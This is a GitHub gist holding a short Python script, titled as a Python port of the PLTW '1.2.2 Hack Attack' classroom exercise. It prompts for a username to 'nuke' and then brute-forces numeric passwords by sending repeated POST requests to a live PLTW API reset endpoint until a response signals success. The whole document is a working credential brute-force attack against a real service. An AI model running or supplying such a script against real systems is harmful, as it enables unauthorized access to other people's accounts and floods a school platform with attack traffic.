Skip to content

Instantly share code, notes, and snippets.

@goop32
Created December 21, 2021 21:31
Show Gist options
  • Save goop32/b7ad5242495f4b6d25ec33a94eef7082 to your computer and use it in GitHub Desktop.
Save goop32/b7ad5242495f4b6d25ec33a94eef7082 to your computer and use it in GitHub Desktop.
PLTW 1.2.2 Hack Attack, but Python (requires requests)
#!/usr/bin/env python3
import requests
username = input("what username should we nuke? ")
hacked = False
password = 2800
while hacked == False:
password += 1
print("password is " + str(password))
reset_url = "https://cs-api.pltw.org/" + username + "/reset?password=" + str(password)
print("reset_url is " + reset_url)
r = requests.post(reset_url)
print("request text is " + r.text)
if "Data for endpoint" in r.text:
hacked = True
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment